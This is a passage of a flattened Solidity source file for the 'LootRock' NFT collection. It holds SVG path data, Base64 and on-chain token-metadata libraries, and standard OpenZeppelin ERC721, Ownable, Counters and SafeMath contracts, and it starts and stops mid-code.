116.006,270.458 117.704 C 278.187 126.815,283.618 135.004,285.018 139.658 C 285.438 141.055,285.773 141.598,287.200 143.194 C 288.128 144.231,290.802 147.307,293.144 150.029 C 295.486 152.752,299.034 156.677,301.029 158.751 C 307.660 165.647,309.072 167.192,310.497 169.107 C 312.263 171.481,313.793 174.581,314.177 176.563 C 314.339 177.397,314.514 178.297,314.566 178.565 C 314.750 179.517,316.505 180.428,319.741 181.250 C 329.715 183.784,333.325 186.150,335.993 191.906 C 336.434 192.857,337.183 194.007,337.657 194.461 C 338.132 194.915,338.798 195.763,339.138 196.346 C 339.478 196.930,340.412 198.362,341.212 199.529 C 346.173 206.761,348.492 216.585,346.971 223.925 C 346.753 224.972,346.640 227.619,346.613 232.292 C 346.591 236.052,346.435 241.408,346.266 244.196 C 345.140 262.751,348.501 273.207,357.019 277.638 C 365.068 281.826,367.625 288.414,367.460 304.537 C 367.346 315.770,367.344 315.414,367.552 326.694 C 367.712 335.392,367.808 337.252,368.185 338.951 C 369.175 343.418,369.618 347.494,369.837 354.154 C 370.085 361.731,370.505 365.875,371.337 368.958 C 371.930 371.153,372.422 377.881,372.422 383.780 C 372.422 384.987,372.579 386.718,372.771 387.625 C 373.277 390.012,373.222 396.384,372.637 403.278 C 371.999 410.791,371.994 410.740,374.780 424.867 C 376.636 434.285,376.706 434.724,378.081 445.610 C 380.120 461.754,380.985 466.000,383.435 471.892 C 383.893 472.994,384.617 475.433,385.044 477.313 C 388.620 493.069,388.551 492.639,388.547 499.116 C 388.543 505.532,388.448 506.010,387.032 506.712 C 385.608 507.419,379.647 509.092,373.798 510.426 C 371.161 511.028,367.314 511.943,365.249 512.459 C 363.184 512.976,360.092 513.657,358.378 513.974 C 352.384 515.081,346.305 517.318,341.544 520.169 C 338.493 521.995,338.587 521.919,337.325 523.580 C 334.974 526.672,331.087 529.504,329.287 529.437 C 328.020 529.390,324.791 528.535,321.457 527.364 L 319.034 526.513 317.030 526.806 C 311.367 527.633,309.635 527.786,304.528 527.915 C 295.309 528.147,290.005 527.126,287.991 524.732 L 287.410 524.041 251.719 523.914 C 216.690 523.789,215.985 523.777,213.671 523.294 C 206.292 521.753,195.527 520.059,171.662 516.683 C 155.199 514.354,145.147 512.745,137.500 511.214 C 132.940 510.301,132.282 510.227,128.344 510.184 C 116.594 510.058,105.792 504.102,96.771 492.776 C 92.431 487.326,89.401 485.774,77.666 482.988 C 68.841 480.893,64.869 479.356,61.950 476.904 C 59.848 475.139,59.706 474.897,54.706 464.575 C 52.103 459.200,49.601 454.088,49.145 453.215 C 47.242 449.572,44.248 439.473,43.144 432.975 C 39.391 410.894,34.558 398.785,27.044 392.632 C 24.212 390.314,18.974 380.958,16.615 374.007 L 15.513 370.760 15.616 361.986 C 15.747 350.794,15.759 350.724,18.803 342.435 L 19.731 339.908 18.086 338.684 C 12.361 334.428,12.904 328.233,20.086 315.839 C 22.705 311.321,24.695 307.408,25.476 305.245 C 25.780 304.402,26.351 303.288,26.745 302.769 C 28.754 300.124,29.398 297.434,29.707 290.395 C 29.978 284.258,30.218 282.278,31.009 279.670 C 31.324 278.633,32.008 275.997,32.528 273.812 C 33.049 271.628,34.222 267.186,35.136 263.941 C 37.374 255.994,38.098 252.833,38.418 249.617 C 40.853 225.092,42.453 217.699,46.454 212.476 C 48.355 209.995,49.734 204.266,51.612 191.043 C 52.257 186.506,53.010 181.998,53.286 181.025 C 53.968 178.621,54.191 171.010,54.178 150.619 C 54.166 131.465,54.008 132.542,58.395 121.744 C 61.718 113.565,62.435 111.101,62.921 106.182 C 63.611 99.195,66.258 92.383,72.284 82.082 C 72.987 80.880,73.755 79.448,73.992 78.900 C 74.228 78.351,76.239 73.956,78.460 69.133 C 82.346 60.695,82.499 60.307,82.499 58.863 C 82.499 54.366,85.364 49.721,89.469 47.565 C 93.696 45.345,95.478 45.191,104.947 46.225'; struct SVGParams { string color; } function generateSVG(SVGParams memory params) internal pure returns (string memory svg) { return string( abi.encodePacked( generateAll(params.color), '</svg>' ) ); } function generateAll(string memory color) private pure returns (string memory svg) { svg = string( abi.encodePacked( '<svg width="400" height="565.7041838538598" xmlns="http://www.w3.org/2000/svg" viewBox="0, 0, 400,565.7041838538598">', '<g id="rock">', '<path id="path0" d="', curve, '" stroke="none" fill="#', color, '" fill-rule="evenodd"></path>', '</g>' ) ); } } // File: libraries/base64.sol pragma solidity ^0.8.0; /// @title Base64 /// @author Brecht Devos - <brecht@loopring.org> /// @notice Provides a function for encoding some bytes in base64 library Base64 { string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // File: libraries/NFTDescriptor.sol pragma solidity ^0.8.0; library NFTDescriptor { using SafeMath for uint256; using HexStrings for uint256; struct ConstructTokenURIParams { uint256 tokenId; address owner; bytes3 color; } function constructTokenURI(ConstructTokenURIParams memory params) public pure returns (string memory) { string memory name = generateName(params.tokenId); string memory description = generateDescription(); string memory image = Base64.encode(bytes(generateSVGImage(params))); return string( abi.encodePacked( 'data:application/json;base64,', Base64.encode( bytes( abi.encodePacked( '{"name":"', name, '", "description":"', description, '", "image": "', 'data:image/svg+xml;base64,', image, '"}' ) ) ) ) ); } function generateDescription() private pure returns (string memory) { return string( abi.encodePacked( 'Loot is randomized adventurer gear generated and stored on chain. ' 'EtherRock was one of the first crypto collectible NFT-type projects on the Ethereum blockchain. ' 'LootRock is the perfect collision of Loot and EtherRock.' ) ); } function generateName(uint256 tokenId) private pure returns (string memory) { return string( abi.encodePacked( 'Rock #', Strings.toString(tokenId) ) ); } function generateSVGImage(ConstructTokenURIParams memory params) internal pure returns (string memory svg) { NFTSVG.SVGParams memory svgParams = NFTSVG.SVGParams({ color: uint256(uint24(params.color)).toHexStringNoPrefix(3) }); return NFTSVG.generateSVG(svgParams); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // 